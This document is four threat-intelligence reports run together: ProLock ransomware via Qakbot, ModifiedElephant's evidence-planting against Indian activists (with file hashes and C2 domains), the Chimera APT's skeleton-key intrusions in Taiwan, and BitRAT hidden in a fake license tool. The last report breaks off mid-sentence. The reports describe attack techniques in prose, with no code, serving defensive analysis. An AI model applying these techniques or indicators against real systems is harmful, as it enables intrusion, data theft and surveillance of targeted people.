# FBI: ProLock Ransomware Gains Access to Victim Networks via Qakbot Infections The FBI has issued a security alert about a new ransomware strain named ProLock that has been deployed in intrusions at healthcare organizations, government entities, financial institutions, and retail organizations. First spotted in March 2020, ProLock is part of the category of "human-operated ransomware." These are ransomware strains that are installed manually on the networks of hacked companies. Hacker gangs breach or rent access to a hacked network, take manual control of the infected host, spread laterally through the network, and then deploy the ransomware after they've maximized their access. In the case of ProLock, the FBI says this group gains access to hacked networks via the Qakbot (Qbot) trojan. Cyber-security firm Group-IB reported seeing the same thing last week. This relationship between the operator of a malware dropper and a ransomware gang is not unique. It's been seen before with the Ryuk and Maze ransomware strains being installed on computers previously infected with TrickBot, and with DopplePaymer strains being dropped on computers infected with Dridex. At the time of writing, it is unclear if the ProLock ransomware was created and managed by the Qakbot gang, or if the ProLock gang rents access to Qakbot-infected hosts as part of a Crimeware-as-a-Service scheme. Taking into account the FBI and Group-IB reports, this now also means that computers inside an organization that have been found to be infected with Qakbot must be isolated from the rest of the network as soon as possible, as they can serve as entry points for a ransomware gang. ## ProLock Decrypter Not Working Properly In addition to warning about the relationship between Qakbot and ProLock, the FBI also warned victims about bugs in the ProLock decrypter, the app the ProLock gang provides victims in order to decrypt their files after paying the ransom. "The decryption key or 'decryptor' provided by the attackers upon paying the ransom has not routinely executed correctly," the FBI said. "The decryptor can potentially corrupt files that are larger than 64MB and may result in file integrity loss of approximately 1 byte per 1KB over 100MB." The FBI says that the decrypter may sometimes need to be modified to work correctly, incurring additional costs from lost business to organizations. This is reminiscent of the decryption bugs previously found in the Ryuk ransomware. The ProLock ransomware was first spotted in March 2020. It initially went under the name of PwndLocker but rebranded into ProLock after Emsisoft found a way to decrypt files locked by the first version. Sources told ZDNet that the FBI sent the flash alert to US organizations after ATM giant Diebold Nixdorf was infected with ProLock at the end of April.
# Modified Elephant APT and a Decade of Fabricating Evidence **Authors:** Tom Hegel, Juan Andres Guerrero-Saade **Date:** February 2022 **SentinelLABS Research Team** ## Executive Summary - Our research attributes a decade of activity to a threat actor we call ModifiedElephant. - ModifiedElephant is responsible for targeted attacks on human rights activists, human rights defenders, academics, and lawyers across India with the objective of planting incriminating digital evidence. - ModifiedElephant has been operating since at least 2012 and has repeatedly targeted specific individuals. - ModifiedElephant operates through the use of commercially available remote access trojans (RATs) and has potential ties to the commercial surveillance industry. - The threat actor uses spearphishing with malicious documents to deliver malware, such as NetWire, DarkComet, and simple keyloggers with infrastructure overlaps that allow us to connect long periods of previously unattributed malicious activity. ## Background In September 2021, SentinelLabs published research into the operations of a Turkish-nexus threat actor we called EGoManiac, drawing attention to their practice of planting incriminating evidence on the systems of journalists to justify arrests by the Turkish National Police. A threat actor willing to frame and incarcerate vulnerable opponents is a critically underreported dimension of the cyber threat landscape that brings up uncomfortable questions about the integrity of devices introduced as evidence. Emerging details in an unrelated case caught our attention as a potentially similar scenario worthy of more scrutiny. Long-standing racial and political tensions in India were inflamed on January 1st, 2018, when critics of the government clashed with pro-government supporters near Bhima Koregaon. The event led to subsequent protests, resulting in more violence and at least one death. In the following months, Maharashtra police linked the cause of the violence to the banned Naxalite-Maoist Communist party of India. On April 17th, 2018, police conducted raids and arrested a number of individuals on terrorism-related charges. The arresting agencies identified incriminating files on the computer systems of defendants, including plans for an alleged assassination attempt against Prime Minister Modi. Thanks to the public release of digital forensic investigation results by Arsenal Consulting, we can glean rare insights into the integrity of the systems of some defendants and grasp the origin of the incriminating files. It turns out that a compromise of defendant systems led to the planting of files that were later used as evidence of terrorism and justification for the defendants’ imprisonment. The intrusions in question were not isolated incidents. Our research into these intrusions revealed a decade of persistent malicious activity targeting specific groups and individuals that we now attribute to a previously unknown threat actor named ModifiedElephant. This actor has operated for years, evading research attention and detection due to their limited scope of operations, the mundane nature of their tools, and their regionally-specific targeting. ModifiedElephant is still active at the time of writing. ## Targets & Objectives The objective of ModifiedElephant is long-term surveillance that at times concludes with the delivery of ‘evidence’ – files that incriminate the target in specific crimes – prior to conveniently coordinated arrests. After careful review of the attackers’ campaigns over the last decade, we have identified hundreds of groups and individuals targeted by ModifiedElephant phishing campaigns. Activists, human rights defenders, journalists, academics, and law professionals in India are those most highly targeted. Notable targets include individuals associated with the Bhima Koregaon case. ## Infection Attempts Throughout the last decade, ModifiedElephant operators sought to infect their targets via spearphishing emails with malicious file attachments, with their techniques evolving over time. Their primary delivery mechanism is malicious Microsoft Office document files weaponized to deliver the malware of choice at the time. The specific payloads changed over the years and across different targets. However, some notable trends remain: - In mid-2013, the actor used phishing emails containing executable file attachments with fake double extensions (filename.pdf.exe). - After 2015, the actor moved on to less obvious files containing publicly available exploits, such as .doc, .pps, .docx, .rar, and password protected .rar files. These attempts involved legitimate lure documents in .pdf, .docx, and .mht formats to captivate the target’s attention while also executing malware. - In 2019 phishing campaigns, ModifiedElephant operators also took the approach of providing links to files hosted externally for manual download and execution by the target. - As first publicly noted by Amnesty in reference to a subset of this activity, the attacker also made use of large .rar archives (up to 300MB), potentially in an attempt to bypass detection. Observed lure documents repeatedly made use of CVE-2012-0158, CVE-2014-1761, CVE-2013-3906, CVE-2015-1641 exploits to drop and execute their malware of choice. The spearphishing emails and lure attachments are titled and generally themed around topics relevant to the target, such as activism news and groups, global and local events on climate change, politics, and public service. ModifiedElephant continually made use of free email service providers, like Gmail and Yahoo, to conduct their campaigns. The phishing emails take many approaches to gain the appearance of legitimacy. This includes fake body content with a forwarding history containing long lists of recipients, original email recipient lists with many seemingly fake accounts, or simply resending their malware multiple times using new emails or lure documents. Notably, in specific attacks, the actor would be particularly persistent and attempt to compromise the same individuals multiple times in a single day. By reviewing a timeline of attacker activity, we can observe clear trends as the attacker(s) rotate infrastructure over the years. ## Weapons of Choice The malware most used by ModifiedElephant is unsophisticated and downright mundane, and yet it has proven sufficient for their objectives – obtaining remote access and unrestricted control of victim machines. The primary malware families deployed were NetWire and DarkComet remote access trojans (RATs). Both of these RATs are publicly available and have a long history of abuse by threat actors across the spectrum of skill and capability. One particular activity revolves around the file Ltr_1804_to_cc.pdf, which contains details of an assassination plot against Prime Minister Modi. A forensic report by Arsenal Consulting showed that this file, one of the more incriminating pieces of evidence obtained by the police, was one of many files delivered via a NetWire RAT remote session that we associate with ModifiedElephant. Further analysis showed how ModifiedElephant was performing nearly identical evidence creation and organization across multiple unrelated victim systems within roughly fifteen minutes of each other. ### Incubator Keylogger Known victims have also been targeted with keylogger payloads stretching as far back as 2012. These keyloggers, packed at delivery, are written in Visual Basic and are not the least bit technically impressive. Moreover, they’re built in such a brittle fashion that they no longer function. The overall structure of the keylogger is fairly similar to code openly shared on Italian hacking forums in 2012. The ModifiedElephant variant creates a hidden window titled ‘cssrs incubator’ along with SetWindowsHookEx to monitor for keystrokes. It registers the mutex “4oR_$$$tonelsu-mviiLempel-Ziv” and uses the VBScript to WMI connector to query for the victim system’s MAC address and operating system. The malware eventually exfiltrates the logs under the header “Logs from <COMPUTERNAME>” via email. In some ways, the Incubator keylogger is far more brittle than the code referenced above as it relies on specific web content to function (that code is no longer available on the internet at the time of writing). For example, the keylogger will use a GET request to an outdated ‘whatismyip.com’ endpoint in order to get the victim system’s IP. Similarly, in order to exfiltrate the logs, the keylogger pulls Microsoft schema templates to set up an SMTP server and push out the content using a hardcoded (but obfuscated) email address. None of the schema sites requested by the keylogger are available at the time of writing, rendering the keylogger (in its 2012 form) unable to function. The keylogger makes use of hardcoded SMTP credentials and email addresses to deliver the logged keystrokes to attacker-controlled accounts. In some cases, the attacker conducted multiple unique phishing attempts with the same payloads across one or more targets. However, ModifiedElephant generally conducts each infection attempt with new malware samples. ### Android Trojan ModifiedElephant also sent multiple phishing emails containing both NetWire and Android malware payloads at the same time. The Android malware is an unidentified commodity trojan delivered as an APK file. While the Android trojan bears marks of being designed for broader cybercrime, its delivery at the same time as ModifiedElephant NetWire samples indicates that the same attacker was attempting to get full coverage of the target on both endpoint and mobile. The trojan enables the attackers to intercept and manage SMS and call data, wipe or unlock the device, perform network requests, and remote administration. In a very basic form, the trojan provides the attackers with an ideal low-cost mobile surveillance toolkit. ## Relations to Other Threat Clusters Our research into this threat actor reveals multiple interesting threads that highlight the complex nature of targeted surveillance and tasking, where multiple actors swoop in with diverse mechanisms to track the same group of individuals. These include private sector offensive actors (PSOAs) and groups with possible commercial facades to coordinate their illicit activities. Based on our analysis of ModifiedElephant, the group operates in an overcrowded target space and may have relations with other regional threat actors. From our visibility, we can’t further disambiguate the shape of that relationship – whether as part of an active umbrella organization, cooperation and sharing of technical resources and targets across threat groups, or simply coincidental overlaps. Some interesting overlaps are detailed below: - Multiple individuals targeted by ModifiedElephant over the years have also been either targeted or confirmed infected with mobile surveillance spyware. Amnesty International identified NSO Group’s Pegasus being used in targeted attacks in 2019 against human rights defenders related to the Bhima Koregaon case. Additionally, the Bhima Koregaon case defendant Rona Wilson’s iPhone was targeted with Pegasus since 2017 based on a digital forensics analysis of an iTunes backup found in the forensic disk images analyzed by Arsenal Consulting. - Between February 2013 and January 2014, one target, Rona Wilson, received phishing emails that can be attributed to the SideWinder threat actor. The relationship between ModifiedElephant and SideWinder is unclear as only the timing and targets of their phishing emails overlap within our dataset. This could suggest that the attackers are being provided with similar tasking by a controlling entity, or that they work in concert somehow. SideWinder is a threat actor targeting government, military, and business entities primarily throughout Asia. - ModifiedElephant phishing email payloads share infrastructure overlaps with Operation Hangover. Operation Hangover includes surveillance efforts against targets of interest to Indian national security, both foreign and domestic, in addition to industrial espionage efforts against organizations around the world. - Another curious finding is the inclusion of the string “Logs from Moosa’s” found in a keylogger sample closely associated with ModifiedElephant activity in 2012. The string could be a reference to Moosa Abd-Ali Ali, the Bahrain activist targeted around the same time, with FinFisher spyware. Without greater information, we treat this as a low confidence conjecture in need of greater research. ## Attribution Attributing an attacker like ModifiedElephant is an interesting challenge. At this time, we possess significant evidence of what the attacker has done over the past decade, a unique look into who they’ve targeted, and a strong understanding of their technical objectives. We observe that ModifiedElephant activity aligns sharply with Indian state interests and that there is an observable correlation between ModifiedElephant attacks and the arrests of individuals in controversial, politically-charged cases. ## Conclusion The Bhima Koregaon case has offered a revealing perspective into the world of a threat actor willing to place significant time and resources into seeking the disruption of those with opposing views. Our profile of ModifiedElephant has taken a look at a small subset of the total list of potential targets, the attackers' techniques, and a rare glimpse into their objectives. Many questions about this threat actor and their operations remain; however, one thing is clear: Critics of authoritarian governments around the world must carefully understand the technical capabilities of those who would seek to silence them. ## Indicators of Compromise | Type | Label | |------|-------| | File | ca91cea6038ebc431c88d7a3280566f5 | | File | 1720ae54d8ca630b914f622dcf0c1878 | | File | 0a3d635eb11e78e6397a32c99dc0fd5a | | File | ebbddbdadfa5a7e3e5f00faf27543909 | | File | 93f53bf0f3db53aebcad54a4aa8cc833 | | File | 5c5279eab1cbffec7d174a79e4233217 | | File | 7ad281f61b89a85ae69242f9bd1a28be | | File | cc634fe1d5087d629b141d242ff49732 | | File | 7fa8bb8c90a1d1864a5eda90bb8fa2a3 | | File | eef779774586e59a0e387f7ce06b092e | | File | b8a464741d16dcf046b1e27d63f62bcd | | File | e631b2f8496c40e54951a2daebfc73ae | | File | ad1b6380efb0aad16f01bd1a23f2e649 | | File | 3e38ed7d2168d8170c50db86e5ebd99c | | File | ae95cf0cd0e1a5cd6561ae3a17968dec | | File | a650de5d94dd938d9fd0cf55fae83dd6 | | File | c9da1fa9e874b68df14788c80ca5cfee | | File | 319444e7bd7a20caef38dfcf22948f3c | | File | b822d8162dd540f29c0d8af28847246e | | File | d8fe02b0e134e8c9c338a784d2afacae | | File | 54be0a494baaf99ea3f88bdf6557c282 | | File | 77cb1d0ddf20461b35ccd60bc9e9693f | | File | 1efe4a0981876ea7ec1780e21b0738a2 | | File | bec87849d25eef2e41c0c2e42c90b044 | | File | e1af82438339a1dd406479b884aba6f8 | | File | ac65e7d08e48c6d20e3f90f7d9f73d8b | | File | cb347961b2f25f91639c16431e224002 | | File | b6071ff11d4b41e52143ec5ba416131a | | File | 2463a3ed222be9d564e380b19522c481 | | File | bf2d01c8cf111170589e52447b904163 | | File | d883399966cb29c7c6c358b7c9fdb951 | | File | a1af186d95ed7de686bd2e59e826f265 | | File | 1396f720bc7615385bc5df49bbd50d29 | | File | a07a315d5e05d4970a57d3c499f5c9dc | | File | ac04dfc7ccd9cc317b73f5860da94e7a | | File | a73e489b730cf730bd51ac790995d635 | | File | afe38f5b0feeb4da163ca2d2ce85379b | | File | aa7faa3465f31f2f3343fe3646af2fba | | File | a77833d689be13eae622d48f8a5a8b12 | | File | abd0b2779bdf3b0dd8b2a97815501850 | | File | d6a491618a97e0044cc5f319d58c2dac | | File | 778547b3e0371ba048c32010b0dc42de | | File | d49f22104d979efb5e2da383fea403fe | | File | f1b6f87fd82f20f68f8624d63abda57d | | File | cadbc701381ed49c37ee3452171e0934 | | File | a6b71ac86b1267385950815b7d18861b | | File | fd4902b8a4a4718f5219b301475e81aa | | File | eff9b8e1ee17cd00702279db5de39a3c | | File | 63b25fb5c4a41103d8f30659b3ed2c27 | | File | b662b3fc9174e608718072ea55b37472 | | File | 43cc3810b86a27e4a15349bbcad3e8e4 | | File | ef42dc2b27db73131e1c01ca9c9c41b6 | | File | ead29687b7c4e76c59269e76a85341b7 | | File | bf6c7302cb2bbad454ad4302152285fe | | File | 74c0c5b81124b13b05b9c8792d50597e | | File | 1f0265c7fe4560d66f722e4264e717db | | File | 3b5a6b3a04ac5c2902ede522614c868c | | File | 6ebae56d4cc2a9a9454603b6116fa1a4 | | File | 05472d6ee747a0e8aff33cf4e5d1141c | | File | 602df3a5732f8d8be2d9d6d8b8c48105 | | File | aca0516142f102aba41e046a340f24e9 | | File | cdc613712ac2ab85d6a0d314bb95a082 | | File | 3e597147b7f94ea1cce064c11edffc42 | | File | c0a2202236b0db4702e2ed521aef048c | | File | bee81874f719d61093f7ce12b2641ee4 | | File | d49f22104d979efb5e2da383fea403fe | | File | 6a802a1dbdb11b8ac086c7a335a212b4 | | File | a956cbab8fd7eaaf0c7dc8c7fd314a12 | | File | c30b3a305bb180d7dc28e4cdfcda8bdf | | File | ea324dd1dbc79fad591ca46ead4676a1 | | File | 04a186f53fdc9e871cb408df9c4a93ad | | File | 56d573d4c811e69a992ab3088e44c268 | | File | 114c1a7d605f57752450a4985d143337 | | File | b18bd12e615dca9094aac74740f0d154 | | File | 1f3dac514c6f7542d84763dfd1c622b9 | | File | 944d16d2e96dbb4092941857a66f3e07 | | File | deb655a7a79832e2313e40d8d901f958 | | File | 3a2f2086ac104d71f450b30ab47e36d5 | | File | 04061f6e1a0463131ed129bcb03003d5 | | File | 0db49f572bb1634a4217b5215b1c2c6f | | File | a21dfecebfb3bc499f805c71a6584f2b | | File | b7c1de8c84583465a78202f46bae4065 | | File | 13bacd239931b7a1bea2f91a3c5f4d79 | | File | a8cb8aed839878d4ca028c8f43bbfab3 | | File | 61c22386df656f32f45bc1928a1e5a94 | | File | d2a2e167f68e02b3713052ee3d63e013 | | File | afe6d7985388013e32ae388a29600ae2 | | File | 619016de4589ecb7039844a7c9a3f326 | | File | 1fa4d31f8ce38b0660cfbee3da26ca63 | | File | a8cea2eb313a908037bcc273b99a434d | | File | 0330921c85d582deb2b77a4dc53c78b3 | | File | c0636b98f0c20fa82870d10ffd21dfe1 | | File | e8efc4a7d41d754968199aebbfba77db | | File | 03e40d5f54940d3da97aa8ff981551a2 | | File | bf164f4ffe8f571666e6ffdabba9d08f | | File | c35b13ca7dc705361237e341af7a7e08 | | File | a7ce8ea97df340e6f7a77dcbe065a617 | | File | 0ad6bf767f5c45a6faf32a40c5807057 | | File | ac7ebe2cb77dd9ac74bc55931e91bc23 | | File | d698739648717c21e7eb2ba1806e673a | | File | a7e96388fef3ac919f9f6703d7c0ebd4 | | File | bf868371dd78162283a193940a1ae9fd | | File | c14e101c055c9cb549c75e90d0a99c0a | | File | d25250dca84aad3747418432c52be231 | | File | 4dd1c71eee084eafdd0e9a29bd4d2e59 | | File | 557bcc59ab20c44eb5b84c5073199983 | | File | fedeb97850c1d917fbe3aeac388efd35 | | File | 9ca885835c2c08af33ccf9e094358ea6 | | File | b1c18520937d259d253d07e085d9e2b0 | | File | 5b7780fc5e535eb507d86a54db70dee2 | | File | 489c42a45b233acc377d10e1ec424b4b | | File | b7818efa622a88d0c59e9c744cc91d43 | | File | 28094131dfc2c92d57a665c7fbc4fc0e | | File | af79639a14200ea25410b902fe0d5ee7 | | File | 6be54d26001bd55770e3259562046ab2 | | File | dccff8250ab9f275b367688e0eba7ec6 | | File | 550dce15c334bc6b46c41c705d197e19 | | File | c095d257983acca64eb52979cfc847ef | | File | a2e70ef708c06fdc57b0079dda4f89fe | | File | 93bed674dacbf3959c103711164747bf | | File | 60bff49b10afc593f67888c4f767ea36 | | File | e6714e3bd83b4a349ab48cc203b91813 | | File | bfd3e1a3926fd5ef4eec1ac533f2ee34 | | File | e60b8ddee18e295d9e33e490eafdbfb3 | | File | 96212539955ef86074398485c46e0483 | | File | 169a58a0743301ebc5a536d890f10c06 | | File | aaad5fe071f985c57164a2766d4d8a89 | | File | c7a48f4f6ade403e09c3bac7185e92ee | | File | 60a083a1b7cd5e9a30212dc9541e161d | | File | c57f16bd980eec7340d1e541877f0098 | | Domain | pahiclisting.ddns[.]net | | Domain | bzone.no-ip[.]biz | | Domain | johnmarcus.zapto[.]org | | Domain | ramesh212121.zapto[.]org | | Domain | atlaswebportal.zapto[.]org | | Domain | testingnew.no-ip[.]org | | Domain | nepal3.msntv[.]org | | Domain | socialstatistics.zapto[.]org | | Domain | socialstudies.zapto[.]org | | Domain | gayakwaad[.]com | | Domain | knudandersen.zapto[.]org | | Domain | jasonhistoryarticles.read-books[.]org | | Domain | duniaenewsportal.ddns[.]net | | Domain | vinaychutiya.no-ip[.]biz | | Domain | researchplanet.zapto[.]org | | Domain | greenpeacesite[.]com | | Domain | new-agency[.]us | | Domain | chivalkarstone[.]com | | Domain | newmms[.]ru | ## Technical References 1. Amnesty International report on human rights defenders targeted by spyware operations. 2. Arsenal Consulting reports on the Bhima Koregaon case. 3. Various archived resources related to cyberattacks and threat actor analysis.
# Taiwan High-Tech Ecosystem Targeted by Foreign APT Group **CyCraft Technology Corp** May 6, 2022 2019 was an excellent year for the Taiwan superconductor industry; however, beneath this economic upturn, a digital chimera was slowly eating at it from within. Throughout 2019, multiple companies in the Taiwan high-tech ecosystem were victims of an advanced persistent threat (APT) attack. > “Taiwan is set to become the largest and fastest-growing semiconductor equipment maker in the world by increasing by 21.1 percent to reach US$12.31 billion.” > —Taiwan News, July 2019 APTs are professional cyber espionage actors that typically receive direction and support from nation-states and often target organizations with high-value information, such as national defense, financial, energy, or manufacturing. Due to these APT attacks having similar behavior profiles with each other and previously documented cyberattacks, we assess with high confidence these new attacks were conducted by the same foreign threat actor. During our investigation, we dubbed this threat actor Chimera. “Chimera” stands for the synthesis of hacker tools that we’ve seen the group use, such as the skeleton key malware that contained code extracted from both Dumpert and Mimikatz — hence Chimera. Their operation — the entirety of the new attacks utilizing the Skeleton Key attack from late 2018 to late 2019 — we have dubbed Operation Skeleton Key. The main objective of these attacks was the exfiltration of intellectual property, such as documents on integrated circuits (IC), software development kits (SDKs), IC designs, source code, etc. The motive behind these attacks likely stems from competitors (or possibly even nation-states due to the advanced nature of the attacks) seeking to gain a competitive advantage. ## Highlighted Findings In our above report, we go over our comprehensive analysis of the techniques, tactics, procedures, and customized malware employed by Chimera. Here are some highlighted findings from our research. 1. This malware contained code extracted from both Dumpert and Mimikatz and was used as an account manipulation tool. The malware altered the NTLM authentication program and implanted a skeleton key to allow the attackers to log in without the need of a valid credential. Once the code in memory was altered, the attackers could still gain access to compromised machines even after resetting passwords. The attackers then used the skeleton key to move freely to other machines in the same domain. There was no difference when compared to legitimate login activity, nor was legitimate user login activity hindered. These factors helped mask the attacker’s persistent malicious activities. 2. The attackers utilized a mutated backdoor as their main RAT. The backdoor replaced and then masqueraded as a Google Chrome Update to confuse users. To further mask the malicious activity and make attribution difficult for defenders, the attackers placed most of the command-and-control (C2) servers in the Google Cloud Platform. 3. The attackers used an old and patched version of RAR modified for data exfiltration. ## The Skeleton Key: A Brief History In 2014, Dell Secureworks Counter Threat Unit observed the earliest use of a digital skeleton key. Their observed skeleton key was able to bypass authentication on Active Directory (AD) systems implementing single-factor verification, giving them unfettered access to remote access services. However, Chimera also added extracted key code snippets from Mimikatz and Dumpert to their skeleton key. The Chimera skeleton key sought to bypass API monitoring, which is widely used in anti-virus and EDR products, by directly invoking syscalls and implementing high-level API logic. ## The Investigations We thoroughly analyzed more than 30,000 endpoints belonging to multiple companies along the Taiwan high-tech ecosystem supply chain during our investigation into Operation Skeleton Key. Two representative cases are chosen here for more in-depth sharing. We summarized our year-long findings into two kinds of cases, we call them Case A and Case B, representing two different approaches: discovering Operation Skeleton Key during regular security operations vs. discovering the aftermath of Chimera’s attacks during incident response (IR). ### CyCraft MDR Services 1. We deploy our MDR+NGAV scanner to your endpoints. 2. We continuously receive the scanner data. 3. Our AI and security experts analyze it and generate alerts & reports, including complete site-wide UEBA, threat analysis, MITRE ATT&CK® classification, storylines of all malicious behavior, and remediation options. At the time of detection, CyCraft had already been providing Case A organizations with our MDR packages. While our active detection package consists of our 24/7 MDR service, our passive detection package includes intervaled detection reports across all endpoints and network; endpoints are scanned for known malicious behavior and suspicious behavior that could suggest an attack. We have picked this representative sample from Case A as we could see more details of the tactics, techniques, and procedures used in Operation Skeleton Key. Case A customers who used our more active MDR package did not experience the depth of penetration that this representative sample did. By contrast, organizations in Case B approached CyCraft for our IR services after they detected abnormal activity on their system. Cyber situation graphs and storylines have been provided; however, note that all server and user names are de-identified and replaced with aliases. ### A Representative Sample From Case A Organizations In the first hours of the attack, Chimera had not attacked or compromised a vital server. It was decided to allow the threat actor to temporarily persist in order to gain more intelligence into their new malware, behavior, and motivations. Upon the initial detection of suspicious activity of endpoint NB-CLAIR, their security operations center (SOC) was immediately notified of the suspicious behavior and the potential danger to their system. Had the Case A organization been subscribed to our 24/7 MDR service, we could have easily stopped the attack at NB-CLAIR. Chimera’s initial access came from a valid ID from a virtual private network (VPN). Many enterprises often neglect this attack vector, by default trusting VPN connections and welcoming them into their intranet; and Chimera is one of the most skilled threat actors that we have seen at abusing VPN policies. A remote desktop protocol (RDP) was used to gain access to NB-CLAIR, where the first Cobalt Strike backdoor was placed. Cobalt Strike was used as Chimera’s main RAT tool. In an attempt to avoid detection, the RAT replaced the original Google Update binary and functioned as a mutated Cobalt Strike beacon to inject payloads into other processes. This behavior was extremely suspicious. At the time of detection, no information could be found on this particular malware on VirusTotal; our AI immediately began closely tracking the attack. A cyber situation graph from a Case A sample, generated by our AI, showed that six minutes after RDP was used to gain access to NB-CLAIR, Cobalt Strike was then remotely copied to Server-LAUREN via the schtasks utility. At this point, had our continuous MDR services been employed, agents installed on both the NB-CLAIR endpoint and Server-LAUREN would have detected the lateral movement and halted the attack. The malware, GoogleUpdate.exe, connected to C2 servers located in the Google Cloud Platform; however, this was detected by our continuous digital forensics platform. The Case A organization’s SOC was again immediately notified. At this time, only 18 minutes had passed since Chimera’s initial access. Once connected to the C2 servers, RecordedTV.ms was dropped onto Server-LAUREN to archive data for exfiltration. Even without the .exe file extension, data exfiltration could still have been executed. RecordedTV.ms was later discovered to be a modified version of RAR; however, it had a one-byte discrepancy from the original version. Our platform was able to detect the injected file and flag it. Identical binaries were found in several machines, but under different names. This too was detected by our AI-driven forensics, and Case A SOCs were again notified of the suspicious behavior. Several “net user” commands were also executed from Server-LAUREN for recon purposes, and the results were saved to the RecordedTV_lib.log. Server-LAUREN also used wmic to remotely execute various commands in another endpoint to check if there was an Internet connection, which we flag as discovery events under the MITRE ATT&CK® framework. Server-LAUREN also stored the Windows Registry and ntds.dit of other hosts. The active directory (AD) database contained information about domain hosts and users, such as IDs, names, and password hashes. The registry contained the key for the encrypted ntds.dit AD database. Chimera needed to archive both in order to remotely decrypt the file and, most likely, bruteforce the password hash. Once the active directory (AD) server had been compromised, the SkeletonKeyInjector malware was used to implant a skeleton key so the attacker could freely perform lateral movement to other machines in the same domain. Thankfully, this incident was taken care of before the SkeletonKeyInjector was allowed to run amok; Case B organizations were not so fortunate. As with all our customers, Case A organizations received a fully actionable report with contextual information. Their complete site analysis included the full context behind the high-severity alerts that were previously sent and provided actionable intelligence covering their endpoints, processes, files, identity and access management (IAM), and network. With automated forensic investigations, we were able to replace guesswork with actionable steps to halt the attack and recover the systems involved. The Case A organization’s actionable report informed them which processes to stop, which files to delete, which malware to remove, which user accounts were infected and needed resetting, and which URLs, IP addresses, and domains to block. The representative organization used for parts of Case A who used our passive detection has since upgraded to our active detection services and now enjoys the benefits and confidence provided by our MDR service. ### SkeletonKeyInjector This particular malware was an account manipulation tool that altered the NTLM authentication program and implanted a skeleton key that allowed Chimera to log in without valid credentials to other machines. After the code in memory was altered, Chimera would be able to gain access to any system in the domain. As AD machines are rarely rebooted, Chimera could potentially control machines for a very long time without detection. This is one of many reasons why CyCraft performs memory forensics on all computers, including domain controllers. During our investigation of Operation Skeleton Key, we discovered some semiconductor vendors were employing a white-list enforcement approach. Although this is a feasible approach, as the AD cannot execute any software outside the white-list, our investigation showed that Chimera was still able to use Living off the Land Binaries (LOL) to launch attacks. ## Case B In November of 2019, while a representative Case B organization was upgrading their network infrastructure, several abnormal activities were discovered. CyCraft was tasked by the organization to conduct an investigation via our IR services, as in this scenario, CyCraft solution was not part of their daily SecOps. ### CyCraft IR Services 1. We deploy our IR forensic scanner to your endpoints. 2. We receive the scanner data; our AI and security experts analyze it. 3. In under 24 hours after our scanner runs, we walk you through your eradication plan, including complete site-wide hacker tools and behavior analysis. 4. Together, we rescan and confirm eradication. After running our scanner on Case B organizations’ endpoints, we immediately discovered that the behavior profile of the cyberattack resembled Operation Skeleton Key. Both of the sophisticated attacks targeting Case A and Case B organizations utilized the SkeletonKeyInjector, the Cobalt Strike RAT masquerading as a Google Update, and had a similar behavior profile with the other cases we investigated. These factors led us to attribute all of these attacks to the same threat actor and operation. However, unlike in Case A organizations, it was apparent that these types of intrusions had persisted for a substantial time, in some samples, well over a year. There were other differences as well. Unlike Case A, Chimera widely used encoded PowerShell scripts. To avoid the file-based detection mechanisms, the payload was injected directly into the system memory. The injected malware, the Cobalt Strike backdoor, was discovered in multiple endpoints, which unsurprisingly included two domain controllers. Most infected hosts had the Cobalt Strike malware implanted in their svchost.exe. The Cobalt Strike backdoor was used for process migration to other system processes. Similar to Case A, legal cloud services were widely used by Chimera to house their C2 servers in an attempt to avoid threat attribution. Once again, RAR programs with seemingly innocuous file names were used to archive data for exfiltration. Chimera was successful in archiving the passwords and using a DLL file to deploy the skeleton key malware. With the Skeleton Key deployed, each machine on the domain could then be freely accessed by Chimera. The ultimate motivation of Chimera was the acquisition of intellectual property, i.e., IC documents, SDKs, source code, etc. After collaborating with Case B organizations on the execution of our eradication plan, all of the malware and system damage caused by Chimera was remediated in record time. To ensure the security of the system during the execution of the eradication plan and the system hardening that followed, CyCraft offered Case B organizations three months of free MDR services. After the initial three months of MDR services, Case B organizations decided to continue enjoying the confidence our MDR services provide. ## MITRE ATT&CK Techniques This is a summary of adversarial techniques, as based on the MITRE ATT&CK Framework, employed in Operation Skeleton Key. ## UPDATE: Chimera Observed in EU? On 12 January 2020, Fox-IT & NCC Group published their detailed report, “Abusing Cloud Services to Fly Under the Radar.” The threat actor tracked in their report shared many similarities to the China-linked threat actor Chimera, whom CyCraft attributed to a year-long cyberattack targeting the Taiwan semiconductor industry just last year. Much like Chimera, the threat actor mentioned in the Fox-IT & NCC Group report targeted intellectual property from the semiconductor industry; however, the report goes into further detail explaining how their threat actor’s targets were more diverse, including targeting sensitive data from the EU aviation industry. Know for sure. Know with CyCraft. We power SOCs around the world with our proprietary and award-winning AI-driven MDR (managed detection and response), SOC (security operations center) operations software, TI (threat intelligence), Enterprise Health Check, automated forensics, and IR (incident response), and Secure From Home services. Learn why our global customers have joined our rapidly growing CyCraft Community and have stayed. When you join CyCraft, you will be in good company. CyCraft secures government agencies, Fortune Global 500 firms, top banks and financial institutions, critical infrastructure, airlines, telecommunications, hi-tech firms, and SMEs. ### Cybersecurity Industry Recognition - Joined MITRE ATT&CK Evaluations round two against APT29 - Member of FIRST, the premier Incident Response organization - Winner of multiple Gold Cybersecurity Excellence Awards, including MDR, Forensics, Incident Response, and Artificial Intelligence as well as a Best Cybersecurity Company Gold Award
# BitRAT Disguised as Windows Product Key Verification Tool Being Distributed The ASEC analysis team has recently discovered BitRAT being distributed via webhards. The attacker disguised the malware as a Windows 10 license verification tool, putting users who download illegal crack tools at risk of having BitRAT installed on their PCs. A post uploaded to webhard, titled **[New][Quick Install] Windows License Verification [One-click]**, contains a compressed file named `Program.zip`, which is locked with the password `1234`. This file includes a Windows 10 license verification tool named `W10DigitalActivation.exe`. `W10DigitalActivation.exe` is a 7z SFX file that carries an actual verification tool called `W10DigitalActivation.msi` and the malware named `W10DigitalActivation_Temp.msi`. When the user double-clicks the file, it installs both files concurrently, tricking the user into thinking that the tool is running properly. Unlike its name, `W10DigitalActivation_Temp.msi` is a downloader that downloads additional malware. When run, it connects to C&C servers, exchanging encrypted strings, which are then decrypted to acquire a download URL for the additional payload. The downloader installs the malware into the Windows startup program folder and deletes itself. The first file installed is a downloader that ultimately installs BitRAT into the path `%TEMP%` as `Software_Reporter_Tool.exe`. This downloader is equipped with additional features, including a PowerShell command to add the Windows startup program folder as an exclusion path for Windows Defender and adding the BitRAT process name `Software_Reporter_Tool.exe` as an exclusion process. The malware uses webhard, a popular file-sharing platform in Korea, and includes Korean characters in its code, suggesting that the attacker is a Korean speaker. The malware that is ultimately installed is a RAT (Remote Access Trojan) called BitRAT. BitRAT has been for sale via a hacking forum since 2020 and is 